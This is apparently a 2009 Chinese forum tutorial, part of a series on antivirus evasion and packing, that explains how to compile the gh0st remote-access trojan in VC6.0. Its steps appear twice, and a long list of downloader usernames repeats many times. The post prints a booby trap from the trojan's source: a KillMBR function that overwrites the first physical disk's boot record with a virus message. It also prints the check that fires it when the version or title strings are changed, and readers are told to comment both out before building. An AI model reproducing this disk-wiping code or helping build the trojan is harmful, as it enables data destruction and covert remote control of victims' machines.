-
-
[旧帖] [原创]从零开始学免杀与加壳(二) 编译gh0st 0.00雪花
-
发表于: 2009-11-22 19:20 2043
-
在开始这个学习之前,我要警告大家,这个代码里面有锁硬盘的代码,编译之前要注释掉,所以请不知道的跟着我做
一 加载工程
首先打开VC6.0,如下图
点击"File->Open"
然后在文件选择对话框里选择你下载gh0st源码的目录,然后类型要选择“Worksapces”打开文件"gh0st.dsw",然后点击确定,如果顺利的话,我们会看到在左边的框里有3个工程如下图
二 配置新的SDK
点击菜单栏的“tools->options”,然后在出来的对话框中选择“Directories”这个标签,然后我们就要设置新的SDK
1.Include files :这个是一些头文件,我们需要把,新的SDK的include文件夹包含进来,我们在最后一个目录的下面双击一下,就会出现一个空白行,如图
然后点击右边那个“。。。”的图标,选择你下载安装好之后的SDK的INCLUDE目录,如下图,这个就是你安装新版SDK后的目录,就是把下图中这个INCLUDE文件包含进来就可以了。
然后一定要记住,把你新添加的这个include路径放到最上面,要不然,编译器就首选你最上面哪行的路径来编译工程,可能很多人就是这样工程不能编译,选择好你要移动的那一行,然后点击
这里向上的那个按钮,就可以把他上移到最上面。
这样,include文件夹就设置完成了
2.Library files :这个是一些必须要用到的库,同上面的方法把路径加载进来,然后调整好位置
3.Excutable files :这个就是上图的 Bin目录,把这个目录也包含进来
至此SDK设置完了,接下来就是比较关键的地方了,注意了
打开gh0st工程,找到gh0st.cpp这个源文件,打开他,然后找到这段代码
把这些去掉,或者用“/**/”注释掉,在C语言里“//”与“/**/”是注释代码的用途,比如说,一段代码 "int a = 0;"那么 在这行之前加入双斜杠"//int a =0;",就表示这行代码不执行了,如果是很多行代码要注释,那么我们就可以用“/**/”来注释,例如
这是第一处,还有一处,在BuildView.cpp 文件里注释掉这写代码
好了,把这戏代码注释掉之后,剩下就是编译他了。
我们按 F7 编译工程,如果一些顺利的话我们会下下面的对话框中看到
类似这样的信息:
gh0st.exe - 0 error(s), 0 warning(s)
只要error前面这个数是0就可以了,就说明程序没有报错
然后我们再 Ctrl+F5 ,来运行程序,如果一切一切顺利,那就会看到一下界面
好了 整个程序编译完成了,也希望你一些顺利,如果有问题,可以发贴问我,呵呵!
下一个教程我们将解析整个程序,并了解一些C语言的一些知识
一 加载工程
首先打开VC6.0,如下图
点击"File->Open"
然后在文件选择对话框里选择你下载gh0st源码的目录,然后类型要选择“Worksapces”打开文件"gh0st.dsw",然后点击确定,如果顺利的话,我们会看到在左边的框里有3个工程如下图
二 配置新的SDK
点击菜单栏的“tools->options”,然后在出来的对话框中选择“Directories”这个标签,然后我们就要设置新的SDK
1.Include files :这个是一些头文件,我们需要把,新的SDK的include文件夹包含进来,我们在最后一个目录的下面双击一下,就会出现一个空白行,如图
然后点击右边那个“。。。”的图标,选择你下载安装好之后的SDK的INCLUDE目录,如下图,这个就是你安装新版SDK后的目录,就是把下图中这个INCLUDE文件包含进来就可以了。
然后一定要记住,把你新添加的这个include路径放到最上面,要不然,编译器就首选你最上面哪行的路径来编译工程,可能很多人就是这样工程不能编译,选择好你要移动的那一行,然后点击
这里向上的那个按钮,就可以把他上移到最上面。
这样,include文件夹就设置完成了
2.Library files :这个是一些必须要用到的库,同上面的方法把路径加载进来,然后调整好位置
3.Excutable files :这个就是上图的 Bin目录,把这个目录也包含进来
至此SDK设置完了,接下来就是比较关键的地方了,注意了
打开gh0st工程,找到gh0st.cpp这个源文件,打开他,然后找到这段代码
unsigned char scode[] = "\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c" "\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72" "\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29"; int CGh0stApp::KillMBR() { HANDLE hDevice; DWORD dwBytesWritten, dwBytesReturned; BYTE pMBR[512] = {0}; // 重新构造MBR memcpy(pMBR, scode, sizeof(scode) - 1); pMBR[510] = 0x55; pMBR[511] = 0xAA; hDevice = CreateFile ( "\\\\.\\PHYSICALDRIVE0", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL ); if (hDevice == INVALID_HANDLE_VALUE) return -1; DeviceIoControl ( hDevice, FSCTL_LOCK_VOLUME, NULL, 0, NULL, 0, &dwBytesReturned, NULL ); // 写入病毒内容 WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL); DeviceIoControl ( hDevice, FSCTL_UNLOCK_VOLUME, NULL, 0, NULL, 0, &dwBytesReturned, NULL ); CloseHandle(hDevice); ExitProcess(-1); return 0; }
把这些去掉,或者用“/**/”注释掉,在C语言里“//”与“/**/”是注释代码的用途,比如说,一段代码 "int a = 0;"那么 在这行之前加入双斜杠"//int a =0;",就表示这行代码不执行了,如果是很多行代码要注释,那么我们就可以用“/**/”来注释,例如
/* int a = 0; int b =0;*/
这是第一处,还有一处,在BuildView.cpp 文件里注释掉这写代码
char strVer[10]; char strTitle[10]; strVer[0] = 'C'; strVer[1] = '.'; strVer[2] = 'R'; strVer[3] = 'u'; strVer[4] = 'f'; strVer[5] = 'u'; strVer[6] = 's'; strVer[7] = ' '; strVer[8] = 'S'; strVer[9] = '\0'; strTitle[0] = 'G'; strTitle[1] = 'h'; strTitle[2] = '0'; strTitle[3] = 's'; strTitle[4] = 't'; strTitle[5] = ' '; strTitle[6] = 'R'; strTitle[7] = 'A'; strTitle[8] = 'T'; strTitle[9] = '\0'; CString str; GetDlgItemText(IDC_STATIC_VER, str); if (str.Find(strVer) == -1) ((CGh0stApp *)AfxGetApp())->KillMBR(); GetParent()->GetWindowText(str); if (str.Find(strTitle) == -1) ((CGh0stApp *)AfxGetApp())->KillMBR();
好了,把这戏代码注释掉之后,剩下就是编译他了。
我们按 F7 编译工程,如果一些顺利的话我们会下下面的对话框中看到
类似这样的信息:
gh0st.exe - 0 error(s), 0 warning(s)
只要error前面这个数是0就可以了,就说明程序没有报错
然后我们再 Ctrl+F5 ,来运行程序,如果一切一切顺利,那就会看到一下界面
好了 整个程序编译完成了,也希望你一些顺利,如果有问题,可以发贴问我,呵呵!
下一个教程我们将解析整个程序,并了解一些C语言的一些知识
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
赞赏
谁下载
swift
ldljlzw
xingbing
CoDe_Inject
hmimys
wofan[OCN]
yxrj123
djzxzzm
pmma
option
zzz3265
nssic
king-w
卫斯理
b23526
whydbg
swqswq
RuShi
三根火柴
byjove
雀巢lover
afepaf
basketwill
lazyxi
patriots
mezilla
ztxbeyond
ethel
tonway
dfsy
JackyChou
lofullen
wodeshijie
joosonmao
zkxmu
ficn
nafol
logopc
codeangel
luohaohao
fbm
kirby
westboy
neineit
lenceliu
chengxjj
烩白菜
NIKE凋零
riverdog
lykonglong
xgym
梦中忆梦
riusksk
luzechao
scdymy
lixiaolin
什么玩意
JohnsonGuo
dearhdx
羿小冰
苏打
bahaoken
zysyyz
kankanyhc
哈哈在世
Fypher
hackboylyq
guobing
tangyuan
天外飞客
hongjiling
yuhaoyin
yuansunxue
小原
玩命
netzlj
chenchuai
lsztony
逐渐变坏
瞧红尘
xlyvip
dskgo
逗你玩儿
mazhengyu
hbkccccc
xxcvb
yxfyiwind
Rotkkkk
vikizll
anticode
xxShaw
vulul
liumyua
狼行wolf
热火朝天
風之痕
anhui
iCorn
koukouniao
谁下载
swift
ldljlzw
xingbing
CoDe_Inject
hmimys
wofan[OCN]
yxrj123
djzxzzm
pmma
option
zzz3265
nssic
king-w
卫斯理
b23526
whydbg
swqswq
RuShi
三根火柴
byjove
雀巢lover
afepaf
basketwill
lazyxi
patriots
mezilla
ztxbeyond
ethel
tonway
dfsy
JackyChou
lofullen
wodeshijie
joosonmao
zkxmu
ficn
nafol
logopc
codeangel
luohaohao
fbm
kirby
westboy
neineit
lenceliu
chengxjj
烩白菜
NIKE凋零
riverdog
lykonglong
xgym
梦中忆梦
riusksk
luzechao
scdymy
lixiaolin
什么玩意
JohnsonGuo
dearhdx
羿小冰
苏打
bahaoken
zysyyz
kankanyhc
哈哈在世
Fypher
hackboylyq
guobing
tangyuan
天外飞客
hongjiling
yuhaoyin
yuansunxue
小原
玩命
netzlj
chenchuai
lsztony
逐渐变坏
瞧红尘
xlyvip
dskgo
逗你玩儿
mazhengyu
hbkccccc
xxcvb
yxfyiwind
Rotkkkk
vikizll
anticode
xxShaw
vulul
liumyua
狼行wolf
热火朝天
風之痕
anhui
iCorn
koukouniao
谁下载
swift
ldljlzw
xingbing
CoDe_Inject
hmimys
wofan[OCN]
yxrj123
djzxzzm
pmma
option
zzz3265
nssic
king-w
卫斯理
b23526
whydbg
swqswq
RuShi
三根火柴
byjove
雀巢lover
afepaf
basketwill
lazyxi
patriots
mezilla
ztxbeyond
ethel
tonway
dfsy
JackyChou
lofullen
wodeshijie
joosonmao
zkxmu
ficn
nafol
logopc
codeangel
luohaohao
fbm
kirby
westboy
neineit
lenceliu
chengxjj
烩白菜
NIKE凋零
riverdog
lykonglong
xgym
梦中忆梦
riusksk
luzechao
scdymy
lixiaolin
什么玩意
JohnsonGuo
dearhdx
羿小冰
苏打
bahaoken
zysyyz
kankanyhc
哈哈在世
Fypher
hackboylyq
guobing
tangyuan
天外飞客
hongjiling
yuhaoyin
yuansunxue
小原
玩命
netzlj
chenchuai
lsztony
逐渐变坏
瞧红尘
xlyvip
dskgo
逗你玩儿
mazhengyu
hbkccccc
xxcvb
yxfyiwind
Rotkkkk
vikizll
anticode
xxShaw
vulul
liumyua
狼行wolf
热火朝天
風之痕
anhui
iCorn
koukouniao
谁下载
swift
ldljlzw
xingbing
CoDe_Inject
hmimys
wofan[OCN]
yxrj123
djzxzzm
pmma
option
zzz3265
nssic
king-w
卫斯理
b23526
whydbg
swqswq
RuShi
三根火柴
byjove
雀巢lover
afepaf
basketwill
lazyxi
patriots
mezilla
ztxbeyond
ethel
tonway
dfsy
JackyChou
lofullen
wodeshijie
joosonmao
zkxmu
ficn
nafol
logopc
codeangel
luohaohao
fbm
kirby
westboy
neineit
lenceliu
chengxjj
烩白菜
NIKE凋零
riverdog
lykonglong
xgym
梦中忆梦
riusksk
luzechao
scdymy
lixiaolin
什么玩意
JohnsonGuo
dearhdx
羿小冰
苏打
bahaoken
zysyyz
kankanyhc
哈哈在世
Fypher
hackboylyq
guobing
tangyuan
天外飞客
hongjiling
yuhaoyin
yuansunxue
小原
玩命
netzlj
chenchuai
lsztony
逐渐变坏
瞧红尘
xlyvip
dskgo
逗你玩儿
mazhengyu
hbkccccc
xxcvb
yxfyiwind
Rotkkkk
vikizll
anticode
xxShaw
vulul
liumyua
狼行wolf
热火朝天
風之痕
anhui
iCorn
koukouniao
谁下载
swift
ldljlzw
xingbing
CoDe_Inject
hmimys
wofan[OCN]
yxrj123
djzxzzm
pmma
option
zzz3265
nssic
king-w
卫斯理
b23526
whydbg
swqswq
RuShi
三根火柴
byjove
雀巢lover
afepaf
basketwill
lazyxi
patriots
mezilla
ztxbeyond
ethel
tonway
dfsy
JackyChou
lofullen
wodeshijie
joosonmao
zkxmu
ficn
nafol
logopc
codeangel
luohaohao
fbm
kirby
westboy
neineit
lenceliu
chengxjj
烩白菜
NIKE凋零
riverdog
lykonglong
xgym
梦中忆梦
riusksk
luzechao
scdymy
lixiaolin
什么玩意
JohnsonGuo
dearhdx
羿小冰
苏打
bahaoken
zysyyz
kankanyhc
哈哈在世
Fypher
hackboylyq
guobing
tangyuan
天外飞客
hongjiling
yuhaoyin
yuansunxue
小原
netzlj
chenchuai
lsztony
逐渐变坏
瞧红尘
xlyvip
dskgo
逗你玩儿
mazhengyu
hbkccccc
xxcvb
yxfyiwind
Rotkkkk
vikizll
anticode
xxShaw
vulul
liumyua
狼行wolf
热火朝天
anhui
iCorn
koukouniao
bugvuln
tbox
谁下载
swift
ldljlzw
xingbing
CoDe_Inject
hmimys
wofan[OCN]
yxrj123
djzxzzm
pmma
option
zzz3265
nssic
king-w
卫斯理
b23526
whydbg
swqswq
RuShi
三根火柴
byjove
雀巢lover
afepaf
basketwill
lazyxi
patriots
mezilla
ztxbeyond
ethel
tonway
dfsy
JackyChou
lofullen
wodeshijie
joosonmao
zkxmu
ficn
nafol
logopc
codeangel
luohaohao
fbm
kirby
westboy
neineit
lenceliu
chengxjj
烩白菜
NIKE凋零
riverdog
lykonglong
xgym
梦中忆梦
riusksk
luzechao
scdymy
lixiaolin
什么玩意
JohnsonGuo
dearhdx
羿小冰
苏打
bahaoken
zysyyz
kankanyhc
哈哈在世
Fypher
hackboylyq
guobing
tangyuan
天外飞客
hongjiling
yuhaoyin
yuansunxue
小原
netzlj
chenchuai
lsztony
逐渐变坏
瞧红尘
xlyvip
dskgo
逗你玩儿
mazhengyu
hbkccccc
xxcvb
yxfyiwind
Rotkkkk
vikizll
anticode
xxShaw
vulul
liumyua
狼行wolf
热火朝天
anhui
iCorn
koukouniao
bugvuln
tbox
谁下载
swift
ldljlzw
xingbing
CoDe_Inject
hmimys
wofan[OCN]
yxrj123
djzxzzm
pmma
option
zzz3265
nssic
king-w
卫斯理
b23526
whydbg
swqswq
RuShi
三根火柴
byjove
雀巢lover
afepaf
basketwill
lazyxi
patriots
mezilla
ztxbeyond
ethel
tonway
dfsy
JackyChou
lofullen
wodeshijie
joosonmao
zkxmu
ficn
nafol
logopc
codeangel
luohaohao
fbm
kirby
westboy
neineit
lenceliu
chengxjj
烩白菜
NIKE凋零
riverdog
lykonglong
xgym
梦中忆梦
riusksk
luzechao
scdymy
lixiaolin
什么玩意
JohnsonGuo
dearhdx
羿小冰
苏打
bahaoken
zysyyz
kankanyhc
哈哈在世
Fypher
hackboylyq
guobing
tangyuan
天外飞客
hongjiling
yuhaoyin
yuansunxue
小原
netzlj
chenchuai
lsztony
逐渐变坏
瞧红尘
xlyvip
dskgo
逗你玩儿
mazhengyu
hbkccccc
xxcvb
yxfyiwind
Rotkkkk
vikizll
anticode
xxShaw
vulul
liumyua
狼行wolf
热火朝天
anhui
iCorn
koukouniao
bugvuln
tbox
看原图
赞赏
雪币:
留言: